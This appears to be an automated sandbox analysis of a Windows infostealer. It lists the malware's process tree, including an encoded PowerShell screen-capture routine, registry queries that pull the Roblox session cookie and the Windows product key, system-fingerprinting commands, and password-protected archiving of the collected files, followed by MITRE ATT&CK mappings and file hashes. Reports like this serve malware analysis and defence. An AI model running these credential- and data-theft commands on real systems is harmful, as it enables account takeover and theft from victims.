JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                        3⤵
                          PID:3364
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4892
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\acyt2k52\acyt2k52.cmdline"
                              5⤵
                                PID:3412
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD6E7.tmp" "c:\Users\Admin\AppData\Local\Temp\acyt2k52\CSCA7A46B73A0DD46E6A67BB4A0D2F7FDFD.TMP"
                                  6⤵
                                    PID:2492
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                              3⤵
                                PID:3840
                                • C:\Windows\system32\tree.com
                                  tree /A /F
                                  4⤵
                                    PID:4076
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                  3⤵
                                    PID:4556
                                    • C:\Windows\system32\tree.com
                                      tree /A /F
                                      4⤵
                                        PID:5088
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:3004
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          4⤵
                                            PID:3652
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                          3⤵
                                            PID:3980
                                            • C:\Windows\system32\tree.com
                                              tree /A /F
                                              4⤵
                                                PID:208
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                              3⤵
                                                PID:1924
                                                • C:\Windows\system32\tree.com
                                                  tree /A /F
                                                  4⤵
                                                    PID:3680
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                  3⤵
                                                    PID:3796
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                      4⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3664
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                    3⤵
                                                      PID:1168
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                        4⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:2260
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "getmac"
                                                      3⤵
                                                        PID:2604
                                                        • C:\Windows\system32\getmac.exe
                                                          getmac
                                                          4⤵
                                                            PID:1100
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI35602\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\vR60W.zip" *"
                                                          3⤵
                                                            PID:1140
                                                            • C:\Users\Admin\AppData\Local\Temp\_MEI35602\rar.exe
                                                              C:\Users\Admin\AppData\Local\Temp\_MEI35602\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\vR60W.zip" *
                                                              4⤵
                                                              • Executes dropped EXE
                                                              PID:4620
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                            3⤵
                                                              PID:1968
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic os get Caption
                                                                4⤵
                                                                  PID:3980
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                3⤵
                                                                  PID:212
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic computersystem get totalphysicalmemory
                                                                    4⤵
                                                                      PID:4720
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                    3⤵
                                                                      PID:4244
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic csproduct get uuid
                                                                        4⤵
                                                                          PID:4980
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                        3⤵
                                                                          PID:3152
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                            4⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:2868
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                          3⤵
                                                                            PID:1652
                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                              wmic path win32_VideoController get name
                                                                              4⤵
                                                                              • Detects videocard installed
                                                                              PID:3508
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                            3⤵
                                                                              PID:2624
                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                4⤵
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                PID:3028
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4048 -ip 4048
                                                                          1⤵
                                                                            PID:2596
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5012 -ip 5012
                                                                            1⤵
                                                                              PID:3036
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4888 -ip 4888
                                                                              1⤵
                                                                                PID:2628
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 788 -ip 788
                                                                                1⤵
                                                                                  PID:836
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 3452 -ip 3452
                                                                                  1⤵
                                                                                    PID:4504
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4692 -ip 4692
                                                                                    1⤵
                                                                                      PID:4052
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4004 -ip 4004
                                                                                      1⤵
                                                                                        PID:3324
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 5068 -ip 5068
                                                                                        1⤵
                                                                                          PID:1140
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 208 -ip 208
                                                                                          1⤵
                                                                                            PID:1988
                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 1216 -ip 1216
                                                                                            1⤵
                                                                                              PID:2880
                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 3844 -ip 3844
                                                                                              1⤵
                                                                                                PID:4664
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3908 -ip 3908
                                                                                                1⤵
                                                                                                  PID:4460
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4652 -ip 4652
                                                                                                  1⤵
                                                                                                    PID:460
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1412 -ip 1412
                                                                                                    1⤵
                                                                                                      PID:1048

                                                                                                    Network

                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                    Reconnaissance

                                                                                                    Resource Development

                                                                                                    Initial Access

                                                                                                    Execution

                                                                                                    Command and Scripting Interpreter

                                                                                                    1
                                                                                                    T1059

                                                                                                    PowerShell

                                                                                                    1
                                                                                                    T1059.001

                                                                                                    Persistence

                                                                                                    Event Triggered Execution

                                                                                                    1
                                                                                                    T1546

                                                                                                    Netsh Helper DLL

                                                                                                    1
                                                                                                    T1546.007

                                                                                                    Privilege Escalation

                                                                                                    Event Triggered Execution

                                                                                                    1
                                                                                                    T1546

                                                                                                    Netsh Helper DLL

                                                                                                    1
                                                                                                    T1546.007

                                                                                                    Defense Evasion

                                                                                                    Obfuscated Files or Information

                                                                                                    1
                                                                                                    T1027

                                                                                                    Command Obfuscation

                                                                                                    1
                                                                                                    T1027.010

                                                                                                    Credential Access

                                                                                                    Credentials from Password Stores

                                                                                                    1
                                                                                                    T1555

                                                                                                    Credentials from Web Browsers

                                                                                                    1
                                                                                                    T1555.003

                                                                                                    Unsecured Credentials

                                                                                                    3
                                                                                                    T1552

                                                                                                    Credentials In Files

                                                                                                    3
                                                                                                    T1552.001

                                                                                                    Discovery

                                                                                                    Browser Information Discovery

                                                                                                    1
                                                                                                    T1217

                                                                                                    Process Discovery

                                                                                                    1
                                                                                                    T1057

                                                                                                    Query Registry

                                                                                                    1
                                                                                                    T1012

                                                                                                    Remote System Discovery

                                                                                                    1
                                                                                                    T1018

                                                                                                    System Information Discovery

                                                                                                    4
                                                                                                    T1082

                                                                                                    System Location Discovery

                                                                                                    1
                                                                                                    T1614

                                                                                                    System Language Discovery

                                                                                                    1
                                                                                                    T1614.001

                                                                                                    System Network Configuration Discovery

                                                                                                    2
                                                                                                    T1016

                                                                                                    Internet Connection Discovery

                                                                                                    1
                                                                                                    T1016.001

                                                                                                    Wi-Fi Discovery

                                                                                                    1
                                                                                                    T1016.002

                                                                                                    Lateral Movement

                                                                                                    Collection

                                                                                                    Clipboard Data

                                                                                                    1
                                                                                                    T1115

                                                                                                    Data from Local System

                                                                                                    2
                                                                                                    T1005

                                                                                                    Command and Control

                                                                                                    Web Service

                                                                                                    1
                                                                                                    T1102

                                                                                                    Exfiltration

                                                                                                    Impact

                                                                                                    Replay Monitor

                                                                                                    Loading Replay Monitor...

                                                                                                    Downloads

                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                      Filesize

                                                                                                      2KB

                                                                                                      MD5

                                                                                                      d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                      SHA1

                                                                                                      31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                      SHA256

                                                                                                      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                      SHA512

                                                                                                      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                      Download Submit

                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                      Filesize

                                                                                                      944B

                                                                                                      MD5

                                                                                                      e448fe0d240184c6597a31d3be2ced58

                                                                                                      SHA1

                                                                                                      372b8d8c19246d3e38cd3ba123cc0f56070f03cd

                                                                                                      SHA256

                                                                                                      c660f0db85a1e7f0f68db19868979bf50bd541531babf77a701e1b1ce5e6a391

                                                                                                      SHA512

                                                                                                      0b7f7eae7700d32b18eee3677cb7f89b46ace717fa7e6b501d6c47d54f15dff7e12b49f5a7d36a6ffe4c16165c7d55162db4f3621db545b6af638035752beab4

                                                                                                      Download Submit

                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                      Filesize

                                                                                                      944B

                                                                                                      MD5

                                                                                                      1e774522cc3cbdc78d24fd18a965fe60

                                                                                                      SHA1

                                                                                                      e5a2f12f4bcbda9e213f3c66106c5609ca6ebcef

                                                                                                      SHA256

                                                                                                      2c1ef60b100ed3122cac5ee5aaa643076b463be0a993cd42e6ca550c8f496589

                                                                                                      SHA512

                                                                                                      55c33b639c24055ba5047329eaef8e433849c1ea867f26f55482945180bac62c5f0ba79c93f0b3b551e2697155bf9d1fc9c316f1531bdfde4aad7580b627fe2b

                                                                                                      Download Submit

                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

                                                                                                      b7a092288251e4344f07be2dc4a0607c

                                                                                                      SHA1

                                                                                                      69418d0fe357b7bf74285d9a126193e67684b98c

                                                                                                      SHA256

                                                                                                      2f44e0c3697632e443397fd7ab8e35aeb8005a8118b465ab09935ebacd85325b

                                                                                                      SHA512

                                                                                                      0dc56ca423a8810922b36f4ae2ecb70254fc34a8da64873253b2318c41af98d7825adbad57b3fd2c9da87c11dfcc7dc0866f620ea996400045f672386b27944b

                                                                                                      Download Submit

                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

                                                                                                      88be3bc8a7f90e3953298c0fdbec4d72

                                                                                                      SHA1

                                                                                                      f4969784ad421cc80ef45608727aacd0f6bf2e4b

                                                                                                      SHA256

                                                                                                      533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

                                                                                                      SHA512

                                                                                                      4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

                                                                                                      Download Submit

                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Ee9jcFUyFE9A.bat
                                                                                                      Filesize

                                                                                                      202B

                                                                                                      MD5

                                                                                                      dfd83d05a0c8add113d441820f846dde

                                                                                                      SHA1

                                                                                                      3edc23222151c809478334d6acb7dd012691c335

                                                                                                      SHA256

                                                                                                      177e0404f76e287fd54d125b43d93b6a0f09d5bcceaacddd2c04b1346b299875

                                                                                                      SHA512

                                                                                                      98aa12593693355c89ec877b0b099c5d5fd18f085a996c6c287475160d9d8898d8f9491b6366d51f645ee090caefbab1decfd7fca46f5534354ca8cb1ade7d0a

                                                                                                      Download Submit

                                                                                                    • C:\Users\Admin\AppData\Local\Temp\RESD6E7.tmp
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

                                                                                                      b5b2751948a1d03a17c139d9616b297d

                                                                                                      SHA1

                                                                                                      2c500058f0298e170d1f6c0791cc1317e1b45e6f

                                                                                                      SHA256

                                                                                                      b89b6dd32be34da8704b76364e1a5bcedf3e99458e1cbbafe2c7dd87ca7c56f7

                                                                                                      SHA512

                                                                                                      ff2496c497388f63652df0ef8365d42c68abca46b1975ebce89e118268be504d3488bd6e0ca5affcb53161b89c812f17c2164b137f5e40bf1b221e69d2a2a008

                                                                                                      Download Submit

                                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI35602\VCRUNTIME140.dll
                                                                                                      Filesize

                                                                                                      106KB

                                                                                                      MD5

                                                                                                      4585a96cc4eef6aafd5e27ea09147dc6

                                                                                                      SHA1

                                                                                                      489cfff1b19abbec98fda26ac8958005e88dd0cb

                                                                                                      SHA256

